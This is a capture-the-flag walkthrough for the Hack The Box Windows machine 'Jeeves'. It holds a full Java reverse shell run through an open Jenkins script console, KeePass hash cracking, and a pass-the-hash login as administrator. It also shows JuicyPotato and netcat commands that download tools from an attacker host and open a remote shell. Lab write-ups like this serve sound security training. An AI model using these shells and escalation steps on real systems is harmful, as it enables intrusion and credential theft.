Jeeves

March 02, 2025

Jeeves

Created by	Page	Difficulty	OS
mrb3n	Hack The Box	Medium	Windows

The first step is to perform a scan of the open ports and then list the versions and technologies used on the open ports.

  nmap -p- --open -vvv --min-rate 3000 -Pn -sS 10.10.10.63 -oG scan
  /opt/extractports scan
  nmap -p80,135,445,50000 -Pn -sCV 10.10.10.63 -oN ports

Searching through the website I can’t find anything, it’s too simple.
I decide to list directories and find one, “askjeeves”. When I enter this one I find a jenkis service that I don’t need to provide credentials to enter.
```
  gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -f -t 200
```

Inside this one I move to the scripts section to run a revershell.

  String host="10.10.14.8";
  int port=4444;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Once inside the system, I can read the first flag.
Looking through the user’s files I find inside “Documents” a .kdbx file. I pass it to my system, with keepass2john I extract its hash and I manage to break it.
```
  keepass2john CEH.kdbx > hash
  john hash --wordlist=/usr/share/wordlists/rockyou.txt 
```
Inside this file I find several users and passwords. One of the passwords has the hash format nt. I validate which user it belongs to and I see that it is that of the administrator user.
```
  netexec smb 10.10.10.63 -u usernames -H aad3XXXXXXXXXXXXXXXXX04ee:e0fb1fXXXXXXXXXXXXXXXXXXXXXxfe00
```
I connect as this user making a PtH

impacket-smbclient administrator@10.10.10.63 -hashes e0fb1fb85756c24235ff238cbe81fe00:e0fb1fb85756c24235ff238cbe81fe00

After searching for a long time I find that the second flag is hidden. I can see it thanks to the following command.
```
  dir /R
```

There are several ways to read the hidden file. A couple of them are as follows.

  more < hm.txt:root.txt
  # or 
  powershell Get-Content -Path "hm.txt" -Stream "root.txt"

This is one way to resolve the machine but being the user kohsuke there is another way to escalate privileges.

If we look at the privileges that this user has, we can see that he has the “SeImpersonatePrivilege” enabled. Thanks to this privilege I can get an interactive console as nt autority. To achieve this we can make use of JuicyPotatoypo.

  powershell -Command "Invoke-WebRequest http://10.10.14.8:8000/JuicyPotato.exe -OutFile C:\Temp\JuicyPotato.exe"
  powershell -Command "Invoke-WebRequest http://10.10.14.8:8000/nc.exe -OutFile C:\Temp\nc.exe"
	
	
  c:\Temp\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\Temp\nc.exe 10.10.14.8 8445 -e cmd.exe" -t *

With this way we get to the same point as with the other way but it is interesting to know other techniques to escalate our privileges.